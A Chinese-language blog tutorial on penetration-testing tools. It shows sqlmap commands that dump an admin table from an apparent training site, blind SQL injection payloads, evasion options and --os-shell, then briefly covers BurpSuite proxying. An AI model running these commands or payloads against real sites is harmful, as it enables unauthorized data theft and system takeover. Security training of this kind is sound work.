前言:
渗透测试常用工具讲解
关于渗透测试工具已经了解很多了,而且很多工具也用的很多熟练了,但是本着知识共享的原则,这里再来分享一波。
1.Sqlmap
环境:Python2.X Python3.X (兼容)
自动化SQL注入工具,在前面SQL注入靶场那篇博客最后我也提到了,自动化工具可以省略那些手工注入的过程,这里我们就用工具来学习具体的用法。
安装Sqlmap的时候不要安装在中文路径,否则会有问题。
cd sqlmap
python sqlmap.py
看到上面的显示界面就代表Sqlmap安装好了,如果想更快捷,也可以直接添加到环境变量里去。
python sqlmap.py -U # 指定注入点
python sqlmap.py --dbs # 跑库名
python sqlmap.py --tables # 跑表名
python sqlmap.py --columns # 跑字段名
python sqlmap.py --dump # 枚举数据(危险警告!容易出事情)
python sqlmap.py -D # 指定库名
python sqlmap.py -T # 指定表名
python sqlmap.py -C # 制定字段
这里开一个靶场,用Sqlmap去做测试
1.指定注入点
显示这是一个MySQL型的数据库,问要继续吗?键入"y"
这里显示的关注点在前两个:
1.Type: boolean-based blind # 注入类型:布尔盲注
基于payload:id=1 AND 9060=9060
2.Type: time-based blind # 注入类型:时间盲注
基于payload:id=1 AND (SELECT 9820 FROM (SELECT(SLEEP(5)))tNjx)
但是工具也并不是万能的,工具并不一定就能列举出所有对的注入方式,之所以使用工具是为了成为我们的利器而不是成为一个只会用具的脚本小子,夯实基础,一步一步来。
2.跑库名
python sqlmap.py -u http://rhiq8003.ia.aqlab.cn/?id=1 --dbs
3.跑表名
python sqlmap.py -u http://rhiq8003.ia.aqlab.cn/?id=1 -D maoshe --tables
# 指定库名跑表名
这里用的是盲注的手法,所以有一点点慢,实际上联合注入就可以的。
4.跑字段
python sqlmap.py -u http://rhiq8003.ia.aqlab.cn/?id=1 -D maoshe -T admin --columns
5.读取数据
# 慎重使用该条命令!!!
python sqlmap.py -u
http://rhiq8003.ia.aqlab.cn/?id=1 -D maoshe -T admin -C password
# 也可以这样用,全部拉下来
python sqlmap.py -u
http://rhiq8003.ia.aqlab.cn/?id=1 -D maoshe -T admin --dump
这里是一些简单的用法,后续有一些更详细的操作,我也会分享出来。
指定Sqlmap跑哪种类型的注入方法:
--technique
B: Boolean-based blind SQL injection (布尔型注入)
E: Error-based SQL injection (报错型注入)
U: UNION query SQL injection (可联合查询注入)
S: Stacked queries SQL injection (可多语法查询注入)
T: Time-based blind SQL injection (基于时间延迟注入)
--random-agent 随机请求头
# 默认情况下sqlmap的请求头,有时候会被拦截,所以这里使用随机请求头可以
--delay=1 每次探测延时1秒 (防止访问过快被ban)
--count 查看数据
--proxy=http://127.0.0.1:8080 将数据发送的本地8080端口
--level 1-5 等级测试,等级越高,测试越多,越完整
举例:level 3会跑head注入
--risk 2 测试更多丰富的语句
(--level 3 --risk 2)
--is--dba 看当前注入点的数据库权限;
返回:False 代表低权限 True 代表高权限
--os-shell 直接获取目标的系统权限 只有dba为True的时候有可能,但这种情况一般比较少。
--flush-session 忽略缓存继续跑包
-关于Sqlmap指定注入跑法
-修改Sqlmap插件
-自己写一些Sqlmap相关的插件
....
坑挖了很多,慢慢填吧!
2.BurpSuite
环境:Java
访问网站的流程:
浏览器 --> 目标网站
BurpSuite:
浏览器 --> BurpSuite --> 目标网站
抓包、改包、放包
那这样我们就可以通过BurpSuite一条一条看Sqlmap每次GET/POST传参都传了什么数据
一般都是URL编码,我们可以通过工解析这些参数。
BurpSuite是数据包的拦截,我们可以通过抓包-改包-放包的过程去做一些我们想做的事情。
如果抓不到有些网站,可能是没有配置证书
访问:127.0.0.1:8080 # 这里端口根据自己设置的去改
欺骗浏览器:逻辑漏洞
浏览器插件
1.Proxy SwitchSharp 浏览器代理
# default:系统代理
2.ModHeader 设置请求头
# User-Agent
3.Charset_v0.5.2 改变页面编码
这里就不具体展开说了,后续用一些示例来说BurpSuite。